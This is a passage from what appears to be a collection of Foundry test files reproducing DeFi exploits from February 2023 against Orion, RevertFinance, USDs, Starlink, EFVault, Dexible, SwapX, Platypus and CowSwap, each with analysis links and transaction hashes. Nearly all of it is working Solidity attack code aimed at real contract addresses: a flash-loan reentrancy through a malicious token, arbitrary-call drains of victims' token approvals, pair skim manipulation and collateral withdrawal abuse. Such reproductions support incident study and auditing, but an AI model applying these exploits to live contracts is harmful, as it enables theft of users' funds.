        USDC.approve(address(Orion), type(uint256).max);
        Orion.depositAsset(address(USDC), 500_000);

        flashAmount = USDT.balanceOf(address(Orion));
        Pair.swap(0, flashAmount, address(this), new bytes(1));
        USDTToWETH();

        emit log_named_decimal_uint(
            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        address[] memory path = new address[](3);
        path[0] = address(USDC);
        path[1] = address(ATK);
        path[2] = address(USDT);
        Orion.swapThroughOrionPool(10_000, 0, path, true);
        Orion.withdraw(address(USDT), uint112(USDT.balanceOf(address(Orion)) - 1));
        address(USDT).call(
            abi.encodeWithSignature("transfer(address,uint256)", address(Pair), flashAmount * 1000 / 997 + 1000)
        );
    }

    function addLiquidity() internal {
        Factory.createPair(address(ATK), address(USDT));
        address Pair1 = Factory.getPair(address(ATK), address(USDT));
        Factory.createPair(address(ATK), address(USDC));
        address Pair2 = Factory.getPair(address(ATK), address(USDC));
        address(USDT).call(abi.encodeWithSignature("transfer(address,uint256)", address(Pair1), 5 * 1e5));
        ATK.transfer(address(Pair1), 50 * 1e18);
        USDC.transfer(address(Pair2), 5 * 1e5);
        ATK.transfer(address(Pair2), 50 * 1e18);
        Uni_Pair_V2(Pair1).mint(address(this));
        Uni_Pair_V2(Pair2).mint(address(this));
    }

    function deposit() external {
        Orion.depositAsset(address(USDT), uint112(USDT.balanceOf(address(this))));
    }

    function USDTToWETH() internal {
        address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(RouterV3), type(uint256).max));
        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
            tokenIn: address(USDT),
            tokenOut: address(WETH),
            fee: 3000,
            recipient: address(this),
            deadline: block.timestamp,
            amountIn: USDT.balanceOf(address(this)),
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        RouterV3.exactInputSingle(_Params);
    }
}

contract ATKToken is IERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "ATKToken";
    string public symbol = "ATK";
    uint8 public decimals = 18;
    address public exp;
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);

    constructor(
        address exploiter
    ) {
        mint(100 * 1e18);
        exp = exploiter;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        if (USDT.balanceOf(exp) > 1e6) {
            exp.call(abi.encodeWithSignature("deposit()"));
        }
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function mint(
        uint256 amount
    ) public {
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    function burn(
        uint256 amount
    ) external {
        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;
        emit Transfer(msg.sender, address(0), amount);
    }

    function withdraw(
        uint256 wad
    ) external {}
    function deposit(
        uint256 wad
    ) external returns (bool) {}
    function owner() external view returns (address) {}
}

Orion Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU
// @TX
// https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5

interface V3Utils {
    struct SwapParams {
        address tokenIn;
        address tokenOut;
        uint256 amountIn;
        uint256 minAmountOut;
        address recipient; // recipient of tokenOut and leftover tokenIn (if any leftover)
        bytes swapData;
        bool unwrap; // if tokenIn or tokenOut is WETH - unwrap
    }

    function swap(
        SwapParams calldata params
    ) external;
}

contract ContractTest is Test {
    V3Utils utils = V3Utils(0x531110418d8591C92e9cBBFC722Db8FFb604FAFD);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    address[] victims = [0x067D0F9089743271058D4Bf2a1a29f4E9C6fdd1b, 0x4107A0A4a50AC2c4cc8C5a3954Bc01ff134506b2];
    uint256 counter;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_653_389);
        cheats.label(address(utils), "utils");
        cheats.label(address(USDC), "USDC");
    }

    function testExploit() external {
        for (uint256 i; i < victims.length; ++i) {
            uint256 transferAmount = USDC.balanceOf(victims[i]);
            if (USDC.allowance(victims[i], address(utils)) < transferAmount) {
                transferAmount = USDC.allowance(victims[i], address(utils));
                if (transferAmount == 0) continue;
            }
            bytes memory data = abi.encodeWithSignature(
                "transferFrom(address,address,uint256)", victims[i], address(this), transferAmount
            );
            bytes memory swapdata = abi.encode(address(USDC), address(this), data);
            V3Utils.SwapParams memory params = V3Utils.SwapParams({
                tokenIn: address(this),
                tokenOut: address(this),
                amountIn: 1,
                minAmountOut: 0,
                recipient: address(this),
                swapData: swapdata,
                unwrap: false
            });
            utils.swap(params);
            counter--;
        }

        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        counter++;
        return true;
    }

    function approve(address spender, uint256 value) external returns (bool) {
        return true;
    }

    function transfer(address to, uint256 value) external returns (bool) {
        return true;
    }

    function balanceOf(
        address owner
    ) external view returns (uint256) {
        if (counter == 1) return 1;
        else return 0;
    }
}

RevertFinance Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// @Analysis
// https://twitter.com/danielvf/status/1621965412832350208
// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c
// @TX
// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5

interface USDs {
    function balanceOf(
        address _account
    ) external returns (uint256);
    function mint(address _account, uint256 _amount) external;
    function transfer(address to, uint256 amount) external returns (bool);
    function vaultAddress() external returns (address);
}

contract USDsTest is Test {
    USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);
    address ATTACKER_CONTRACT = address(0xdeadbeef);

    function setUp() public {
        vm.createSelectFork("arbitrum", 57_803_529);

        vm.label(address(usds), "USDs");
        vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, "USDsImpl");
        vm.label(ATTACKER_CONTRACT, "AttackerContract");
        vm.label(address(this), "AttackerAddress");

        vm.prank(usds.vaultAddress());
        usds.mint(address(this), 11e18);
    }

    function testExploit() public {
        usds.transfer(ATTACKER_CONTRACT, 11e18);

        // Etch code. In the real hack this was a Gnosis Safe being deployed
        vm.etch(ATTACKER_CONTRACT, bytes("code"));

        // Trigger balance recalculation
        vm.prank(ATTACKER_CONTRACT);
        usds.transfer(address(this), 1);

        console.log("Attacker Contract balance after: ", usds.balanceOf(ATTACKER_CONTRACT));
    }
}

USDs Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/NumenAlert/status/1626447469361102850
// https://twitter.com/bbbb/status/1626392605264351235
// @TX
// https://bscscan.com/tx/0x146586f05a4513136deab3557ad15df8f77ffbcdbd0dd0724bc66dbeab98a962

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 Starlink = IERC20(0x518281F34dbf5B76e6cdd3908a6972E8EC49e345);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x425444dA1410940CFdfB6A980Bd16aA7a5376d6D);
    address dodo1 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
    address dodo2 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
    address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
    uint256 dodoFlashAmount1;
    uint256 dodoFlashAmount2;
    uint256 dodoFlashAmount3;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 25_729_304);
    }

    function testExploit() public {
        dodoFlashAmount1 = WBNB.balanceOf(dodo1);
        DVM(dodo1).flashLoan(dodoFlashAmount1, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        if (msg.sender == dodo1) {
            dodoFlashAmount2 = WBNB.balanceOf(dodo2);
            DVM(dodo2).flashLoan(dodoFlashAmount2, 0, address(this), new bytes(1));
            WBNB.transfer(dodo1, dodoFlashAmount1);
        } else if (msg.sender == dodo2) {
            dodoFlashAmount3 = WBNB.balanceOf(dodo3);
            DVM(dodo3).flashLoan(dodoFlashAmount3, 0, address(this), new bytes(1));
            WBNB.transfer(dodo2, dodoFlashAmount2);
        } else if (msg.sender == dodo3) {
            WBNBToStarlink();
            while (Starlink.balanceOf(address(Pair)) > 1000) {
                Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)));
                Pair.skim(address(this));
                Pair.sync();
            }
            StarlinkToWBNB();
            WBNB.transfer(dodo3, dodoFlashAmount3);
        }
    }

    function WBNBToStarlink() internal {
        uint256 amountIn = WBNB.balanceOf(address(this));
        WBNB.transfer(address(Pair), WBNB.balanceOf(address(this)));
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(Starlink);
        uint256[] memory values = Router.getAmountsOut(amountIn, path);
        values[1] = Starlink.balanceOf(address(Pair)) * 51 / 100;
        Pair.swap(values[1], 0, address(this), "");
    }

    function StarlinkToWBNB() internal {
        Starlink.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(Starlink);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            Starlink.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp
        );
    }
}

Starlink Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1630490333716029440
// https://twitter.com/drdr_zz/status/1630500170373685248
// https://twitter.com/gbaleeeee/status/1630587522698080257
// @TX
// https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e81914

interface IENF is IERC20 {
    function redeem(uint256 shares, address receiver) external;
}

contract ContractTest is Test {
    IENF ENF = IENF(0xBDB515028A6fA6CD1634B5A9651184494aBfD336);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    address exploiter = 0x8B5A8333eC272c9Bca1E43F4d009E9B2FAd5EFc9;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_696_239);
    }

    function testExploit() external {
        deal(address(ENF), address(this), 1e18);
        cheats.startPrank(address(this), address(this));
        ENF.redeem(676_562, exploiter);
        cheats.stopPrank();

        emit log_named_decimal_uint("Exploiter USDC balance after exploit", USDC.balanceOf(exploiter), USDC.decimals());
    }
}

EFVault Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1626493024879673344
// @TX
// https://etherscan.io/tx/0x138daa4cbeaa3db42eefcec26e234fc2c89a4aa17d6b1870fc460b2856fd11a6
// https://twitter.com/MevRefund/status/1626450002254958592

library TokenTypes {
    struct TokenAmount {
        uint112 amount;
        address token;
    }
}

library SwapTypes {
    struct RouterRequest {
        address router;
        address spender;
        TokenTypes.TokenAmount routeAmount;
        bytes routerData;
    }

    struct SelfSwap {
        address feeToken;
        TokenTypes.TokenAmount tokenIn;
        TokenTypes.TokenAmount tokenOut;
        RouterRequest[] routes;
    }
}

interface IDexible {
    function selfSwap(
        SwapTypes.SelfSwap calldata request
    ) external;
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 TRU = IERC20(0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784);
    IDexible Dexible = IDexible(0xDE62E1b0edAa55aAc5ffBE21984D321706418024);
    address victim = 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_646_022);
        cheats.label(address(USDC), "USDC");
        cheats.label(address(TRU), "TRU");
        cheats.label(address(Dexible), "Dexible");
    }

    function testExploit() external {
        deal(address(USDC), address(this), 15 * 1e6);
        USDC.approve(address(Dexible), type(uint256).max);
        uint256 transferAmount = TRU.balanceOf(victim);
        if (TRU.allowance(victim, address(Dexible)) < transferAmount) {
            transferAmount = TRU.allowance(victim, address(Dexible));
        }
        bytes memory callDatas =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), transferAmount);
        TokenTypes.TokenAmount memory routeAmounts = TokenTypes.TokenAmount({amount: 0, token: address(TRU)});
        TokenTypes.TokenAmount memory tokenIns = TokenTypes.TokenAmount({amount: 14_403_789, token: address(USDC)});
        TokenTypes.TokenAmount memory tokenOuts = TokenTypes.TokenAmount({amount: 0, token: address(USDC)});
        SwapTypes.RouterRequest[] memory route = new SwapTypes.RouterRequest[](1);
        route[0] = SwapTypes.RouterRequest({
            router: address(TRU),
            spender: address(Dexible),
            routeAmount: routeAmounts,
            routerData: callDatas
        });
        SwapTypes.SelfSwap memory requests =
            SwapTypes.SelfSwap({feeToken: address(USDC), tokenIn: tokenIns, tokenOut: tokenOuts, routes: route});
        Dexible.selfSwap(requests);

        emit log_named_decimal_uint("Attacker TRU balance after exploit", TRU.balanceOf(address(this)), TRU.decimals());
    }
}

Dexible Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1630111965942018049
// https://twitter.com/peckshield/status/1630100506319413250
// @TX
// https://bscscan.com/tx/0x3ee23c1585474eaa4f976313cafbc09461abb781d263547c8397788c68a00160

contract ContractTest is Test {
    address swapX = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01;
    IERC20 DND = IERC20(0x34EA3F7162E6f6Ed16bD171267eC180fD5c848da);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);
    address[] victims = [
        0x0b70e2Abe6F1A056E23658aED1FF9EF9901CB2A3,
        0x210C9E1d9E0572da30B2b8b9ca57E5e380528534,
        0x6906f738daFD4Bf14d6e3e979d4Aaf980FF5392D,
        0x708a34D4C5a7D7fd39eE4DB0593be18df58fd227,
        0x48ba64b8CBd8BBcE086E8e8ECc6f4De34AA35D08,
        0xBF57dea8e19022562F002Da6b7bbe2A2DB85c2c0,
        0x4148b0B927cC8246f65AF9B77dfA84b60565820c,
        0x57070188BAA313c73fffDbA43c0ABE17fbFB41f9,
        0x08943873222CE63eC48f8907757928dcb06af388,
        0x047252B87FB7ecb7e29F8026dd117EB8B8E6cF0f,
        0x8C51b7BB3f64845912616914455517DF294A0d0B,
        0x91243b8242f13299C5af661ef5d19bfE0D3bf024,
        0xfe23ea0CEC98D54A677F4aD3082D64f8A0207eB7,
        0x54D7AFCaF140fA45Ff5387f0f2954bC913c0796F,
        0x76bf18aFED5AcCFd59525D10ce15C4B8Cb64370d,
        0xe5d985b7b934dc0e0E1043Fc11f50ba9E229465C
    ];

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 26_023_088);
        cheats.label(address(swapX), "swapX");
        cheats.label(address(DND), "DND");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(Router), "Router");
    }

    function testExploit() external {
        deal(address(DND), address(this), 1_000_000 * 1e18);
        for (uint256 i; i < victims.length; ++i) {
            uint256 transferAmount = BUSD.balanceOf(victims[i]);
            if (BUSD.allowance(victims[i], swapX) < transferAmount) {
                transferAmount = BUSD.allowance(victims[i], swapX);
                if (transferAmount == 0) continue;
            }
            address[] memory swapPath = new address[](3);
            swapPath[0] = address(BUSD);
            swapPath[1] = address(WBNB);
            swapPath[2] = address(DND);
            uint256 value = 0;
            uint24[] memory array = new uint24[](16);
            array[0] = 65_536;
            array[11] = 257;
            swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));
        }

        DNDToWBNB();

        emit log_named_decimal_uint(
            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function DNDToWBNB() internal {
        DND.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(DND);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokens(DND.balanceOf(address(this)), 0, path, address(this), block.timestamp);
    }
}

SwapX Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analsis
// https://twitter.com/peckshield/status/1626367531480125440
// https://twitter.com/spreekaway/status/1626319585040338953
// @TX
// https://snowtrace.io/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430

interface PlatypusPool {
    function deposit(address token, uint256 amount, address to, uint256 deadline) external;
    function withdraw(address token, uint256 liquidity, uint256 minimumAmount, address to, uint256 deadline) external;
    function swap(
        address fromToken,
        address toToken,
        uint256 fromAmount,
        uint256 minimumToAmount,
        address to,
        uint256 deadline
    ) external;
}

interface MasterPlatypusV4 {
    function deposit(uint256 _pid, uint256 _amount) external;
    function emergencyWithdraw(
        uint256 _pid
    ) external;
}

interface PlatypusTreasure {
    struct PositionView {
        uint256 collateralAmount;
        uint256 collateralUSD;
        uint256 borrowLimitUSP;
        uint256 liquidateLimitUSP;
        uint256 debtAmountUSP;
        uint256 debtShare;
        uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0
        bool liquidable;
    }

    function positionView(address _user, address _token) external view returns (PositionView memory);
    function borrow(address _token, uint256 _borrowAmount) external;
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
    IERC20 USP = IERC20(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);
    IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
    IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);
    IERC20 USDT_E = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
    IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);
    IERC20 DAI_E = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
    IERC20 LPUSDC = IERC20(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);
    PlatypusPool Pool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);
    MasterPlatypusV4 Master = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);
    PlatypusTreasure Treasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);
    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("avalanche", 26_343_613);
        cheats.label(address(USDC), "USDC");
        cheats.label(address(USP), "USP");
        cheats.label(address(USDC_E), "USDC_E");
        cheats.label(address(USDT), "USDT");
        cheats.label(address(USDT_E), "USDT_E");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(address(DAI_E), "DAI_E");
        cheats.label(address(LPUSDC), "LPUSDC");
        cheats.label(address(Pool), "Pool");
        cheats.label(address(Master), "Master");
        cheats.label(address(Treasure), "Treasure");
        cheats.label(address(aaveV3), "aaveV3");
    }

    function testExploit() external {
        aaveV3.flashLoanSimple(address(this), address(USDC), 44_000_000 * 1e6, new bytes(0), 0);

        emit log_named_decimal_uint("Attacker USP balance after exploit", USP.balanceOf(address(this)), USP.decimals());
        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDC_E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDT_E balance after exploit", USDT_E.balanceOf(address(this)), USDT_E.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker DAI_E balance after exploit", DAI_E.balanceOf(address(this)), DAI_E.decimals()
        );
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initator,
        bytes calldata params
    ) external returns (bool) {
        USDC.approve(address(aaveV3), amount + premium);
        USDC.approve(address(Pool), amount);
        Pool.deposit(address(USDC), amount, address(this), block.timestamp); // deposit USDC to LP-USDC
        uint256 LPUSDCAmount = LPUSDC.balanceOf(address(this));
        LPUSDC.approve(address(Master), LPUSDCAmount);
        Master.deposit(4, LPUSDCAmount); // deposit LP-USDC to MasterPlatypus
        PlatypusTreasure.PositionView memory Position = Treasure.positionView(address(this), address(LPUSDC));
        uint256 borrowAmount = Position.borrowLimitUSP;
        Treasure.borrow(address(LPUSDC), borrowAmount); // borrow USP from Treasure
        Master.emergencyWithdraw(4);
        LPUSDC.approve(address(Pool), LPUSDC.balanceOf(address(this)));
        Pool.withdraw(address(USDC), LPUSDC.balanceOf(address(this)), 0, address(this), block.timestamp); // withdraw USDC from LP-USDC
        swapUSPToOtherToken();
        return true;
    }

    function swapUSPToOtherToken() internal {
        USP.approve(address(Pool), 9_000_000 * 1e18);
        Pool.swap(address(USP), address(USDC), 2_500_000 * 1e18, 0, address(this), block.timestamp);
        Pool.swap(address(USP), address(USDC_E), 2_000_000 * 1e18, 0, address(this), block.timestamp);
        Pool.swap(address(USP), address(USDT), 1_600_000 * 1e18, 0, address(this), block.timestamp);
        Pool.swap(address(USP), address(USDT_E), 1_250_000 * 1e18, 0, address(this), block.timestamp);
        Pool.swap(address(USP), address(BUSD), 700_000 * 1e18, 0, address(this), block.timestamp);
        Pool.swap(address(USP), address(DAI_E), 700_000 * 1e18, 0, address(this), block.timestamp);
    }
}

Platypus Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/MevRefund/status/1622793836291407873
// https://twitter.com/peckshield/status/1622801412727148544
// @TX
// https://etherscan.io/tx/0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b
interface SwapGuard {
    struct Data {
        address target;
        uint256 value;
        bytes callData;
    }

    function envelope(
        Data[] calldata interactions,
        address vault,
        IERC20[] calldata tokens,
        uint256[] calldata tokenPrices,
        int256[] calldata balanceChanges,
        uint256 allowedLoss
    ) external;
}

contract ContractTest is Test {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    SwapGuard swapGuard = SwapGuard(0xcD07a7695E3372aCD2B2077557DE93e667B92bd8);
    address GPv2Settlement = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_574_048);
        vm.label(address(DAI), "DAI");
        vm.label(address(swapGuard), "SwapGuard");
        vm.label(address(GPv2Settlement), "GPv2Settlement");
    }

    function testExploit() external {
        uint256 amount = DAI.balanceOf(GPv2Settlement);
        if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {
            amount = DAI.allowance(GPv2Settlement, address(swapGuard));
        }
        bytes memory callDatas =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);
        SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);
        interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});
        address vault = address(this);
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = DAI;
        uint256[] memory tokenPrices = new uint256[](1);
        tokenPrices[0] = 0;
        int256[] memory balanceChanges = new int256[](1);
        balanceChanges[0] = 0;
        uint256 allowedLoss = type(uint256).max;
        swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);

        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }
}

CowSwap Exploit (2023-02)